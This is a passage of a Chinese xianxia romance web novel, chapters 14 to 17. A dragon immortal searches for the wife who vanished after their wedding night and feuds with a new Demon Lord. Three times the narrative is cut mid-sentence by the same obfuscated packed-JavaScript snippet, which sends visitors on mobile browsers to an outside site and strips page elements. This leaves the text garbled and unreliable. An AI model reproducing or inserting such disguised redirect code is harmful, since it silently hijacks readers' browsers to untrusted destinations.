怪不得直觉让他远离闻折月——在累到昏过去之前,墨夙离脑海中突然冒出这句话,这个床伴一点都不听话,太不可控了,如果再给他一个机会,他绝对!要离闻折月远远的! 我果然是全天下最厉害的小白脸! 可惜了,没从苏梨口中听到一句“相公”,闻折月揉揉怀中人微鼓的肚子,心满意足地扬起嘴角,无妨,他们还有很长时间,不急于一时。 一夜好梦。 清晨,闻折月睁开眼睛,怀里空荡荡的,香香软软的娘子不见踪影,取而代之的是数不清的金块,将半边床和床下都堆满了,无处下脚,金光闪闪亮瞎人眼,粗略估算超过万两。 14. 第 14 章 好消息:被金子埋了。 坏消息:娘子不见了。 闻折月将宅院翻了个底朝天,找不到墨夙离的丁点痕迹,唯一留下的就是那把伞,伞檐上没了铜钱,只剩下光秃秃的流苏,看起来好不凄凉。 但没有闻折月的心凄凉。 他刚刚娶进门的娘子就这么没了? 不久前的天降飞雪历历在目,闻折月第一时间就去找了大师兄。 “洞房花烛夜过得怎么样?”大师兄上下打量了他一眼,见他浑身冒黑气,不禁敛了笑意,“你怎么这副鬼样,我给你的春宫图没派上用场吗?” 闻折月的状态很奇怪,不太像欲求不满,活像死了娘子的寡夫。 他心头一跳:“你娘子该不会出事了吧?” 这句话仿佛打开了闻折月的开关,他急忙问道:“为什么这么说,你知道什么?” “我什么都不知道,只是……”大师兄被他吓了一跳,挠挠头,“这不之前我和她一起去了衙门,她有好大的本事,呼风唤雨好不威风。” 他以前也见过这样的人,那时他被冤枉,官府下令处刑,一个人从天而降救了他,跟仙人似的乘风踏云,飘逸出尘,自称来自天下第一宗。 可惜,他没见到仙人的脸。 自那以后他在江湖游历,四处搜寻和天下第一宗相关的信息,才知道那人是修士。 “出什么事了?”大师兄小心翼翼地问道。 闻折月:“我娘子不见了。” 大师兄一拍脑门:“怪不得……我之前想告诉你我和她一起去了衙门,可张嘴就说不出来了,当时我就猜到是她动的手脚,如今你娘子走了,我也恢复正常了。” 不过看闻折月的样子,应当不太希望他恢复正常。 “她是仙子吗?”闻折月眼神迷茫。 “或许吧,也可能是修道之人。”大师兄解释道,“修士能突破飞升,也能成为仙子,不过他们要摒弃七情六欲,她与你成亲……” 闻折月垂下眼帘,其实他在相处的过程中也有所怀疑,甚至醒来发现苏梨不见了,他并不像想象中一样惊讶,那种感觉就像是一件迟早会发生的事情发生了,他不觉得震惊,只是无法接受。 “既然要走,那为什么要和我成亲?” 为什么要在成亲第二天抽身离开,哪怕早一点,他们还生疏,哪怕晚一点,他们太熟悉,他都不会像现在一样泥足深陷,无法自拔。 闻折月知道他不该怪苏梨,是苏梨帮他证明了清白,还给他留下了那么多黄金。 倘若爱意减少一分,倘若他没有那么喜欢,他一定会感谢天上掉馅饼,感谢仙子赐予的机缘。 可他偏偏将一颗心完整的交了出去。 “万两黄金算什么,能弥补得了我的一颗真心吗?” “当然弥补不……什么?万两黄金?!”大师兄瞪圆了眼睛,乖乖,他做梦都不敢做这么大,“她给你留下了万两黄金?” “你这是什么反应,你难道觉得她做得对吗?” “不不不,但那可是万两黄金啊。” 很难让人不心动。 大师兄苦口婆心地劝道:“折月老弟啊,听哥一句劝,别太执着了,你才认识她几天而已,就当是一场梦,现在梦醒了,你白白获得了丰厚的报酬,不亏。” “怎么不亏?” 亏大发了,他的心没了,也不是处男了,他好不容易解开心结想当全天下最厉害的小白脸,结果直接成寡夫了。 闻折月越想越悲伤:“我不要黄金,我只要苏梨,只要我娘子。” “你真是!”大师兄恨铁不成钢,他怎么就遇不到这好事,“你听大哥我的,就把苏梨当成狐狸精得了,她是来吸你精气的。” “……大师兄,你可真是个乌鸦嘴。” 当初大师兄说他容易招狐狸精,狐狸精会吸人精气挖人心,怎么不算另一种意义上的预言,他昨晚都快被吸干了,一颗心也送人了。 闻折月仰天长叹:“你当初怎么不说狐狸精会看上我,要陪我一生一世呢?” 就算被吸一辈子的精气也无妨,他愿意。 大师兄:“……” 你没救了。 闻折月坐拥金山,后半辈子吃喝不愁,但他郁郁寡欢,整日找大师兄喝酒,两人的交情越来越深,终于有一天,大师兄将从前的事情告诉了他。 “所以你要去天下第一宗找恩人报恩?” “若是恩人需要,我愿意当牛做马。” 闻折月喝了酒,又倒了满杯:“可他未曾留下只言片语,想来也不需要你当牛做马。” 大师兄心知肚明,但找天下第一宗,找恩人是他一直坚持的目标,当时他死里逃生,不知余生该做什么,是这份信念支撑着他一直走到今日。 江湖漂泊,有个念想总是好的。 “他不需要,但我还是要找的,就像你,难道不想找到你娘子吗?” 闻折月动作一顿,他这些天四处找人打听,偌大的京城都被翻遍了,也没有找到苏梨:“我想找到她,做梦都想。” 大师兄耸耸肩:“那不就结了。” 大哥别嘲笑二弟,他们都傻得可以。 酒至半酣,闻折月突然一拍桌子站起来:“我们一起去找吧!” “啊?” 大师兄反应不过来,愣愣地看着他,闻折月却像突然被打通了任督二脉一样,一改之前的闷闷不乐:“不是说苏梨有可能是修士吗,那我寻仙问道,总会找到她的!” “你啊你……”大师兄捂着头,一脸无奈。 这些天闻折月一直很低落,好似行尸走肉,大师兄看在眼里急在心里,他重重地叹了口气,一口喝干了酒:“罢了,那就去找,我们一起去找天下第一宗,我报恩你寻妻,咱们结伴同行!” 说走就走,闻折月第二天就把黄金都兑换成了银票,房子没卖,万一他运气好,找到苏梨还能回来住。 于是在老龟和妖怪们再一次心血来潮来偷窥宝贝龙的婚后生活时,震惊的发现龙去房空,别说孩子了,就连闻折月都没影了。 他们那么大一个宝贝龙呢?! 城中没有闻折月的踪影,老龟发动了望月山的所有妖怪一起寻找,方圆百里都翻遍了,最后……在家门口发现了要找的人。 望月山上,闻折月和大师兄坐在火堆旁。 “天下第一宗隐世不出, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456800|141609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我之前来妖市也是为了打听消息。” “传言称望月山后有仙人居所,莫不是天下第一宗?” 闻折月想起看过的话本,天下第一宗内妖族和修士和平共处,老龟写得有鼻子有眼,说不定正是天下第一宗出来的妖怪。 有修士教养,所以妖市内的妖怪才心地善良,不会随随便便害人。 “有可能。” 两人一拍即合,当即开始寻找登山的办法。 “我有预感,我的推测是对的。”闻折月兴致勃勃,“等去了天下第一宗,我就好好修炼,争取早日飞升成仙,找到苏梨。” 老龟:“……” 是他狭隘了,闻折月才不会殉情,他会想方设法,上天入地,把没了的娘子找回来。 天下第一宗外设有阵法,凶险异常,老龟怕他们出事,悄悄跟在后面,时不时悄悄指下路。 想不到宝贝龙这辈子还要修道飞升,那编写命书的星君是江郎才尽了吗,还没他有创意。 不过这样也好,省得闻折月受情伤。 如果命轨星君在这里的话,肯定会大声反驳,他可有创意了,绞尽脑汁写出了无比凄惨的命运,若是没有半路杀出程咬金,闻折月肯定能拥有一个悲惨人生。 但他不在。 上界频频有仙官失踪,天帝震怒,召集所有仙官商议,想看热闹的命轨星君刚到下界不久就收到了消息,他当时正和天道喝酒吹水,连闻折月的面都没见到,被天道嘲笑了一番后苦哈哈地回了上界。 我的命好苦,真的好苦。 命轨星君长叹一声。 小仙童小声跟他八卦:“星君,你说那些失踪的仙官会不会是魔尊抓走的,他之前就抓过白羽,据说是看中了白羽的美貌想霸为己有,镇南将军赶到的时候白羽的衣服都被扒了。” 命轨星君微讶:“还有这事,我怎么不知道?” “星君你那时已经去了下界。” “这么说来,那新魔尊是个欺男霸女的好色之徒啊。” 小仙童点头如捣蒜:“没错没错,现在整个仙界都知道魔尊是色魔。” 要是墨夙离知道他在仙界成了个大色魔,一定会大呼冤枉,他想占为己有的只是一件衣服,至于人,他长这么大只看中过闻折月。 可惜识人不清,闻折月太他娘的猛了。 墨夙离欲哭无泪,他的腰快断了,托闻折月的福,他本该持续多日的情期竟然一晚上就结束了……可见闻折月有多猛。 醒来之后,墨夙离的第一反应就是跑,始乱终弃就始乱终弃吧,这个床伴他是真遭不住。 墨夙离扶着老腰趴下,为自己掬了一把辛酸泪。 身体恢复需要一段时间,距离仙魔会谈还有一个多月,正好能休养一番,墨夙离趴在床上,迷迷糊糊之际忽然有人闯了进来。 魔族侍卫急忙来报:“不好了,尊主,无妄海中发现了很多仙族的尸骨,都被吸干了修为,死状可怖。” 仙族死了跟他有什么关系,他是魔尊,又不是仙尊,仙界的人死绝了也碍不着他。 墨夙离刚想骂人,就听到侍卫又补充了一句:“天帝亲临魔界,要见尊主,现在已经到了魔宫。” 15.第 15 章 仙官失踪之事太过蹊跷,和一众仙官商议后,天帝决定将仙魔会谈的日子提前,他亲自来了魔界,见到了那位名声在外的新魔尊。 很诡异的金色眼眸,让他联想到一些不太好的事情。 墨夙离腰疼,睡也没睡好,很不耐烦:“天帝大驾光临,最好是有什么大事。” “是有大事。” 仙魔两族积怨已久,魔族对仙族从来都不客气,但像墨夙离这样直接对天帝冷嘲热讽的人,仙魔两族加起来都没几个。 毕竟对方是仙族的一把手,跺跺脚都会让上界抖一抖。 天帝微妙地想到了闻折月,这新魔尊和小白龙一样爱呛火:“仙魔会谈本应在月后召开,但最近发生了一些事,必须尽快解决,所以我来与魔尊商议一下,将会谈提前。” “商议?”墨夙离不以为意地嗤了声,“你要是不说,我还以为你是来通知的。” 近千年来,仙界一直压魔界一头,仙魔会谈上也是仙族占据主导地位,不然魔族也不会整天嚷嚷着要踏平仙界,一雪前耻。 “你要是想当成通知,我也没意见。”天帝久居高位,不怒自威,哪里会容忍他多番不敬。 “……” 无端吃了个哑巴亏,墨夙离心里憋屈,要不是他情期刚结束浑身不舒服,非得跟这老东西比划比划,让天帝知道老不死的就该早点死:“提前到什么时候?” “明日。” “……你赶着去投胎吗?!” 墨夙离出离愤怒,他并不在意劳什子仙魔会谈,不过当一天和尚撞一天钟,作为魔尊,他对魔族有责任,仙魔会谈他必须出席。 提前到明日,这意味着他现在就要起来准备,不能睡!觉!了! 他拼死拼活当上魔尊的其中一个原因就是为了能睡个好觉,这他娘的,传闻只说魔宫是魔界最危险的地方,无人敢惊扰魔尊,也没说过当魔尊还有这么多破事,就连腰快断了都不能休息。 墨夙离冷着脸,浑身冒黑气:“明天太仓促了。” 推迟个两三天也好,让他养养身体。 “仙界会准备好会谈的一切。” 言下之意,你只管出席就好。 天帝神色淡淡,语气虽轻,但不容置喙:“事发突然,为了上界的和平稳定,还望魔尊体谅。” 威胁,这是赤/裸裸的威胁! 墨夙离磨了磨牙根,突然觉得他那群整日嚷嚷着踏平仙界的魔族下属顺眼了很多,他与魔族一荣俱荣一损俱损,真要打起来,他不怕,也不在乎胜负,但麻烦肯定很多,到时候就更睡不好觉了。 离开之前,天帝睨了他一眼,状似随意地问道:“魔尊大人的眼睛很特别,是天生的吗?” 墨夙离最讨厌别人拿他的眼睛说事:“我要是不回答,上界还能和平稳定吗?” “当然,魔尊说笑了。”金色的眸子远比那只黑色的更惹眼,眸底流转的幽光令人心生寒意,天帝错开视线,“明天见。” 回了仙界,天帝立马找来了命轨星君:“折月还有多久能归位?” “按照命书,折月仙尊的寿数还余近四十载,大概还要在人间待四十多天。”命轨星君心痒难耐,好想去看戏,好想去看孤儿龙受折磨。 “立刻把他找回来。” “什么?” 命轨星君一脸懵逼,说好了六十载寿数,他事无巨细地安排好了一生,如今连三分之一都没过完,天帝就管他要人了,难不成真像传言说的那样,天帝是龙控,不舍得放闻折月下界。 自打闻逍和蔺月盏不告而别后,闻折月就交由天帝教养,他多次请求下界,都被天帝拒绝了。 按理来说,上界之人下界并不是稀罕事,况且闻折月也有正当理由,可天帝总是不松口,久而久之仙界中就有传闻称天帝是龙控,酷爱白龙,一日不见折月仙尊就想念得慌。 传言无稽,大家都当成玩笑话。 天帝糟心地白了他一眼:“收起你脑子里乱七八糟的想法,仙魔会谈定在明日,折月作为仙界的一员,必须出席。” “明日?!” 仙魔会谈的日子明明还有一个多月,怎么突然变成明日了? “之前众仙官商议的时候,星君莫不是不在,不然怎么不知会谈日子提前了?”天帝幽幽地看着他,语气冷飕飕的,“看来星君比我这个天帝还要忙。” 命轨星君快给他跪下了,都怪小仙童,非要拉着他说魔尊的八卦,他压根就没注意到天帝和仙官们商议了什么:“我不忙,我这就去下界带折月仙尊回来。” 他脚底抹油,掉头就跑,谁知还没跑出大殿,远处就传来一声巨响,天边劫云密布,有银白色身影在雷云间徘徊,竟是剑拔弩张的对峙局面。 “下界有人飞升成仙?!” 天帝噌的一下站起身,和命轨星君一同赶过去。 随着靠近,那劫云间的身影逐渐清晰,天帝脸色古怪:“星君,你看这飞升的场面有没有点熟悉?” 岂止是熟悉,简直太熟悉了,白龙腾云,乍一看和千年前闻折月飞升上界时如出一辙。 命轨星君的脸都绿了,按照他编写的命书,闻折月现在应该还在下界伤怀落榜之事:“白龙此世间独一条,飞升之人,恐正是折月仙尊。” 到底出了什么岔子,为什么闻折月会大张旗鼓地二次飞升?! “我看着就像折月,他回来得倒是及时,省得你跑一趟了。”天帝一脸欣慰,拍了拍命轨星君的肩膀,给了他一个“做得不错”的夸赞眼神。 命轨星君:“……” 虽然但是,事出反常必有妖,他有种不好的预感。 果不其然,下一秒劫云就被白龙提枪劈碎,闻折月一身凶煞之气,径直飞来,一枪挑起了命轨星君,丝毫不复温润的形象:“把我的命书交出来!” 天帝吓了一跳,连忙拉架:“有话好好说,别动手,出什么事了吗?” 闻折月骨子里和闻逍一样混不吝,但却是个讲理的主儿,妖族将他教导得很好,懂进退知礼数,他做事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457955|141609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极有分寸,若不是气到极致,绝不会枪直同僚。 闻折月躲开他的手,面色冷肃:“星君写得一手好命书,叫本尊大开眼界。” “你在命书上都写了什么?”天帝连忙问道。 命轨星君缩了缩脖子,他写得是惨了点,但以闻折月的性格,不应该会计较才是:“我没写什么,就写了他无父无母,无兄无弟,无友无妻……” “呵,无妻?” 所以成亲第二天他娘子就跑了? 闻折月眼神凶狠,命轨星君哆嗦了下,觉得这人像是要把他给活撕了:“是天帝说的不能牵涉情/爱之事,不能给你安排情劫,所以我才写了你一生无妻,孤独终老。” 难不成闻折月本人是想有一段情缘的? 命轨星君欲哭无泪,那该怪天帝啊,又不是他不让闻折月渡情劫的。 天帝清了清嗓子:“这事确实不怪星君,我让他编写命书的时候不提情字,你年纪尚轻,你两位爹爹临走之前嘱咐过,他们回来之前不让你渡情劫。” 闻折月皱了皱眉头,天帝不会拿闻逍和蔺月盏骗他,命轨星君也没胆子忤逆天帝,那他在下界真真实实和苏梨有了一段情是怎么回事? 他收起逐日枪,面上仍然冷峻:“命书拿出来,我要找人。” “找谁?” “找我娘子。”闻折月咬牙切齿,想到在下界的经历,心中爱意难解,又横生怒气,“和我拜堂成亲,拿了我的元阳,然后一走了之的娘子。” 他和大师兄寻仙问道,在老龟的帮助下回了天下第一宗,渡劫时修为被封印起来,一旦重新开始修炼,便会一日千里,于是他不到一年就再次飞升了。 他在人间寻遍了,都没找到苏梨,突破境界时还特地找天道问过,天道说人间并没有他要找的人。 可他明明就成亲了,怎会查无此人! 天道言之凿凿:“欲知详情,去查查命书即可。” 言下之意,问题出在命轨星君身上。 思及此,闻折月又把命轨星君挑了起来:“你把她藏到哪里去了?” 天帝也沉了脸色,不赞同地看过来:“你当真擅自安排了情劫?” “我没有!”命轨星君大呼冤枉,天杀的,天道那狗日的又坑他! 命书已经在轮回灯上烧掉了,他只能找出命轨上的存档自证清白,闻折月仔细浏览了一遍,冷笑一声:“这一生还真是丰富。” 命轨星君干笑:“丰富多彩方为人生。” 虽然命途坎坷,但命轨星君没有说谎,命书上确实没有苏梨,他这一生本该不识情滋味,寡亲缘,无亲友,怀才不遇,孤孑至死。 一切从他在妖市遇到苏梨后就变了。 闻折月回忆着那张令他刻骨铭心的脸,眯着眸子若有所思。 天帝试探着问道:“折月,你这次下凡当真渡了情劫吗?” “没有。”不等天帝松一口气,闻折月忽然笑了声,语气没什么温度,“是遇到了情劫,但我没渡过。” 16.第 16 章 “…………” 天帝大惊失色:“没渡过,不会是我想的那个意思吧?” “没错,就是渡劫失败了。”当事龙还挺轻松,就是想到成亲第二天就被娘子抛弃的事有点挂不住脸。 渡劫事小,普通的劫数失败了也不要紧,问题是情劫,闻逍和蔺月盏千叮咛万嘱咐,只怕这情劫背后牵扯的事更加严重。 天帝忧心忡忡:“折月啊,你接下来打算怎么办?” 闻折月耸耸肩,好似不太在意:“渡不过就渡不过,人总要有点过不去的事,不然怎么叫劫数。” 天帝叹了口气:“也好,把这件事忘了吧。” “谁说我要忘?”闻折月呵了声,咬牙切齿道,“情劫渡不过我认了,但人要找,就算翻遍了整个世间我都要找到她。” 他要亲口问一问苏梨,为什么要在成亲第二天离开。 是他做得不够好吗? 他从下午一直做到深夜,持久又勇猛,天下间就没有能和他媲美的小白脸,苏梨怎么能睡完就跑! 闻折月接受不了,这深深伤害了他身为大猛龙的尊严。 天帝和命轨星君面面相觑,都不敢惹这条正在气头上的疯龙,闻折月正常的时候很正常,发起疯来比他爹还难搞。 “那你打算怎么找人?” “掘地三尺。” 恨比爱浓烈,又爱又恨浓上加浓,闻折月现在满脑子都是苏梨,他要找到人,然后……他还没想好要做什么,不过这件事绝不可能就这样揭过去。 他咽不下这口气! 说找就找,闻折月提着枪就走,天帝连忙拦住他:“你不能走,明天就是仙魔会谈了,那新魔尊境界不俗,此前仙界中众多仙官失踪,此事或与他脱不了干系。” 无妄海上的事闹得那么大,不止是墨夙离收到了消息。 闻折月想也没想就拒绝了:“我没空。” 以往他也在仙魔会谈上镇过场子,看两拨人假模假样的客套,表面上和和气气,暗地里互骂对方十八代祖宗,实在无趣。 有这时间,他不如去找苏梨。 “不用你做什么,你只要去了就好。” 闻折月代表的不仅仅是他自己,更是闻逍和蔺月盏,就算他什么都不做,魔界也得给他面子,这是仙界的一个倚仗,毕竟谁也不知道闻折月的两个活爹会不会某天就杀回来了。 天帝心思百转,扔出鱼饵:“等仙魔会谈结束了,我们帮你一起找人,倾整个仙界之力,就算是无妄海也能给你翻个底朝天。” 闻折月半信半疑:“真的?” 若是天帝出手,肯定比他自己找要快,只是如此兴师动众不像是天帝会做的事。 “当然。”见他松口,天帝又摆出了从容模样,“一言既出驷马难追,我什么时候骗过你。” “行,明日我会到场。”得了天帝的保证,闻折月也不着急走了,他伸了个懒腰,朝云下望去,“那新魔尊是个什么样的人,让你们如此忌惮?” 飞升之地距离无妄海很近,修魔修道都能飞升上界,若是魔修,飞升后会去往魔界。闻折月两次飞升都到了仙界,从这一点来看,他所修之道还是与仙界的理念更为契合。 无妄海波涛翻涌,海水呈现出一种近乎深沉的墨色,闻折月记得小时候无妄海还不是这样,那时的海水清澈许多,不似如今,泼了墨一般,好像藏着滔天罪恶。 记忆中的花是金灿灿的,凝聚了夕阳最纯粹的光晕,花蕊殷红如血,幽香不绝。 如今想来,那花朵散发的香味与无妄海上的冷香颇为相似,不知是花朵染上了海水独特的气息,还是海水浸透了花的香味。 闻折月颇为唏嘘,自爹爹们离开之后,怕故地重游徒增怀念,他再也没去过魔界,也不知那朵花还有没有好好的生长在禁地之中。 “他……”说起墨夙离,天帝第一个想到的就是他的眼睛,至于他是个怎样的人,他没注意,也不太关心。 “新魔尊是个大色魔!”命轨星君终于能插上话了,立马把从小仙童那里听来的八卦分享出来了,“他看中了一个白羽的美色,在无妄海上当众扒了人家衣服,欲行不轨之事!” 闻折月的眼神冷下来,他愿意留在仙界,一是为了守住爹爹留下的折月仙境,二是不喜魔族作风:“竟然做出这种腌臜事,看来魔界真的无人了,连臭鱼烂虾都能登上王座。” 若是他在场,一定一枪戳废那无耻魔尊的命根子! “后来如何?” “多亏镇南将军及时赶到,这才救下了白羽。”命轨星君咂咂嘴,颇为哀愁地叹了口气,“赶明儿仙魔会谈,那魔尊若是再对我仙族之人起歹念可如何是好?放眼上界,姿容出众的男仙女仙数不胜数,魔尊岂不是跟掉进米缸里的耗子一样,我都不敢想他色胆包天,会欺辱多少人。” “他敢!” 闻折月抬手一挥,长/枪逐日,从天边俯冲入海,在无妄海上击起了千丈高的波浪:“本尊在此,岂容他放肆!他若敢多看男仙女仙一眼,我就摘了他那对招子!他若欲行不轨,我就剁了他的手!” 命轨星君连连鼓掌,吹捧不停:“有仙尊在,那魔尊必定不敢放肆。” 天帝一阵无语,他怎么听说白羽那事和传闻有所出入,况且墨夙离看起来也不像是好色之徒。 那人生得……啧,忽略那双极具特色的眼睛,也堪称花容月貌,整个上界都找不到第二个。 那是一张身边不会缺人的脸。 无妄海上浪潮不断,就连魔宫都被震得摇晃了几下,刚送走天帝,正烦躁着的墨夙离怒火一下子就被点燃了:“何人胆敢在魔界撒野?!” 他感觉到一股强大的力量搅乱了无妄海,是对他明目张胆的挑衅,也是给他的下马威。 难道有魔修找上门来,想要与他争一争这魔尊的位子? 那敢情好!墨夙离活动了一下手腕,眼底杀意迸发,打着瞌睡送来了枕头,他正愁没处发泄怒火,就有不怕死的送上门来了。 “回禀魔尊,是,是……” 魔族侍从支支吾吾,墨夙离不耐烦地啧了声,直接将人提了起来:“是谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477374|141609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “逐日枪,惊天月,应当是前尊主与仙界战神之子——折月仙尊!”侍从哆嗦不停,战战兢兢道,“尊主息怒,折月仙尊身上有一半魔族血脉,也算半个魔族之人,仙魔会谈在即,若是引起争斗,恐,恐有伤体面。” “他这样就体面吗?!”墨夙离一把甩开侍从,怒从心头起。 天帝前脚刚走,这折月仙尊后脚就来挑衅,仙界当真是蹬鼻子上脸! 真把他当软柿子捏了,墨夙离怒气冲冲,他得把这口恶气出了,折月仙尊,折月折月……不知道他现在最不想听到这两个字吗?! 要体面是吧,那就隔空斗法,不用打照面,也不用动手。 翻腾的浪潮瞬间被镇压,海水凝成无数短刃,朝着祥云簇拥的仙宫呼啸而去,速度极快,镇南将军还没反应过来,南天门的匾额就被戳得千疮百孔,“啪嗒”一下砸到了地上。 镇南将军大惊失色:“全体戒备,有敌袭!” “将军莫慌,没有敌袭,就是年轻人斗斗法。”天帝将前因后果说了一下,“魔尊是个有分寸的,放心吧。” 镇南将军:“???” 诶不是,他们俩斗法,拿我南天门出气? 那掉地上的不是一块匾额,那“啪嗒”一声摔碎的是我的尊严! 天帝使了个眼色,命轨星君连忙上前打圆场:“我在下界刚淘了一副龟甲,上古时期的物件,将军有空吗,去我那里坐坐,我给你算上一卦。” “不是,我……” “将军就别推辞了,走吧。” 镇南将军被拉走,南天门外,闻折月扫了眼饱经摧残的匾额,眉头微挑。 这魔尊还挺有脾气的。 如果对方不是好色之徒,他还真想见识一下,这人脾性对他的胃口,或许他们能交个朋友。 可惜了,道不同不相为谋。 闻折月弹指一挥,大河之水自天宫而起,化作一条水龙,俯冲进了无妄海中,水龙在海中摇头摆尾,狂风迭起,黑云聚拢。 忽然,从海底甩来一条金色锁链,锁链末端的锋利尖锥狠狠刺入水龙的脖子下方。 闻折月呼吸一紧。 脖子下方,是龙的逆鳞所在。 “魔尊大人,果真是好样的。” 闻折月勾起唇角,似笑非笑,逐日枪在半空中挽了个枪花,引得漫天风雨化作长桥,自上而下,从仙宫直通魔宫。 含笑声传遍无妄海,骄矜狂傲:“逆鳞拱手奉上,魔尊随时来取,本尊恭候大驾。” 丹田突然疼了一下,墨夙离动作一滞,眼看着那座桥在他面前断裂,化作风雨淋了他满身的水。 “……” 墨夙离抹了把脸,气不打一处来,折月仙尊比他想象中难对付,本以为这人境界停滞百年会泯然众人矣,如今看来是他想多了。 方才那股疼劲儿转瞬即逝,好似错觉一般,墨夙离不敢放松,连忙查看了一下丹田洞府,不知道过了情期,他的修为增长了……咦?咦咦咦? 他丹田里多了个什么玩意儿?! 17.第 17 章 从外形上来看,是一朵花,扎根在他的丹田里,花苞闭拢,金灿灿圆鼓鼓的,整体看起来很饱满。 墨夙离左看右看,确定这是一朵能开得很灿烂的好花。 但是,他的丹田里为什么会有这玩意儿?! 修炼的境界大同小异,下界修士进入金丹期后,修为会凝结成一颗金丹,到了元婴期,修为就能凝为实体,可他从未听说过有哪个阶段丹田里能开出花来。 是所有人都会开花,还是单他一人会开花? 墨夙离端详着那朵花,不知为何心底涌起一股别样的感觉,越看越亲切,越看越喜欢,要是只有他会开花,那还挺酷的嘞! 撇开这朵花不谈,他的境界似乎没什么变化,功法上提到过情期过后修为会大幅增长,怎么他没有长,难不成是因为情期结束得太快,该长的修为也缩水了? 墨夙离沉默了一会儿,白皙的面皮上泛起一点热意,都怪闻折月太能折腾! 想起闻折月,也不知道他现在怎么样了,墨夙离想起闻折月看向他的深情眼眸,心里又虚了几分,不能怪他始乱终弃,他只是不想有朝一日死在床上。 墨夙离揉了一把老腰,嘶,真疼啊。 在下界遇到个很猛的闻折月,在上界又找上门来一个很猛很能打的折月仙尊,都叫折月,差距可不是一般大,墨夙离对特地跑来给他下马威的折月仙尊印象更差了,有朝一日,他必定要剜了这破龙的逆鳞! 墨夙离骂骂咧咧,完全把之前丹田突然疼起来的事抛之脑后了。 折月仙尊和魔尊斗法的事很快就传了开来,两个都不是好惹的主儿,不少人等着看他俩在仙魔会谈上交锋,还有人打赌,赌他们会不会打起来,要是打起来的话谁能赢。 对此,闻折月表示:珍爱生命,远离赌博。 等他收拾完新魔尊,就把赌桌掀了,谁都别想赢。 万众瞩目的仙魔会谈准时开始,墨夙离不情不愿地带着所有魔族大将前往仙界,路上这十个人又在叽叽喳喳,吵着要踏平仙界,墨夙离听得腻烦,也不知道这群人怎么那么热衷于干架。 说起来,魔族都很好战,在这一点上倒是墨夙离格格不入,他一直觉得打架不如睡大觉。 又困了。 昨天忙着处理无妄海上发现仙族尸骨的事情,几乎一夜未睡,仙族死在魔族地盘上是大事,会谈提前怕是与此脱不了干系。 魔尊大人打了个哈欠,有眼色的魔族立马拿出轿辇:“尊主辛苦,要不要小憩一会儿?” 墨夙离没有骄奢淫逸的习惯,出行的排场也不大,从未乘过轿辇,就连坐骑都没有,比起之前一出门就要呼呼啦啦带着一群侍从伺候的魔尊寒酸得多。 他看了看轿辇,豪华宽大,跟张床似的,能躺开好几个人,上面铺着细细的锦绒,看起来很软很舒服。 墨夙离眼睛一亮,偶尔奢华一把也不是不行,他顺应内心,一骨碌爬上了轿辇:“到了叫我。” 四周遮光的纱帘落下,只能看清轿辇内躺着一个人,支颈斜靠,状态懒散,透着股子说不出的慵懒意味。 闻折月远远就看到黑压压的一群魔族,四周祥云退散,魔族簇拥着一架豪华的轿辇,那新任魔尊连路都不愿意自己走,竟是让人将他抬上了仙宫。 啧,娇气。 更讨厌了。 闻折月不屑地嗤了声,化身游龙,以迅雷不及掩耳之势从魔族的队伍冲了过去,将那轿辇撞得人仰马翻后,哈哈大笑着飞远了。 墨夙离:“……” 这破龙有病吧有病吧有病吧! 他刚要睡着,就察觉到了熟悉的力量,丹田内翻涌起一股疼劲儿,不等他反应过来,轿辇就歪倒了,墨夙离被甩得翻了个面,好在轿辇够大,不然他得被甩到地上去。 堂堂折月仙尊像个顽劣的毛头小子,连这种捉弄人的把戏都耍得出来,墨夙离攥紧拳头,指节咔咔作响。 嘶,腰要断了。 想杀龙。 魔族大将们连忙安抚他:“尊主莫要同折月仙尊计较,他自小由妖族带大,性子顽劣,据说昔日在魔界时曾误入无妄海禁地,损坏了脑子,幸得前尊主和仙界战神合力才救回。” “所以他是条傻子龙?”墨夙离撇了撇嘴,怪不得行事作风透着一股有病的感觉。 他揉了揉肚子,丹田又不疼了,方才那一阵像是他的错觉一样。 魔族大将不敢接茬,敢把折月仙尊当成傻子的恐怕也只有墨夙离了:“总之自那以后前尊主就再没带折月仙尊来过魔界,或许是怕他再出什么事,也正因此才叫无耻仙族趁虚而入,不然折月仙尊合该是我魔界的强大战力。” 在魔族看来,闻折月是蔺月盏生的,尽管有一半血脉来自于闻逍,但说到底闻折月的肉/身脱胎于魔族,理应与魔族更为亲近。 对于强大的同族,魔界向来欢迎,因而闻折月在魔界的好感度很高。 墨夙离挑了挑眉:“无妄海中有禁地,我怎么不知道?” 那禁地能把折月仙尊弄成傻子,让他不由得生出几分好奇。 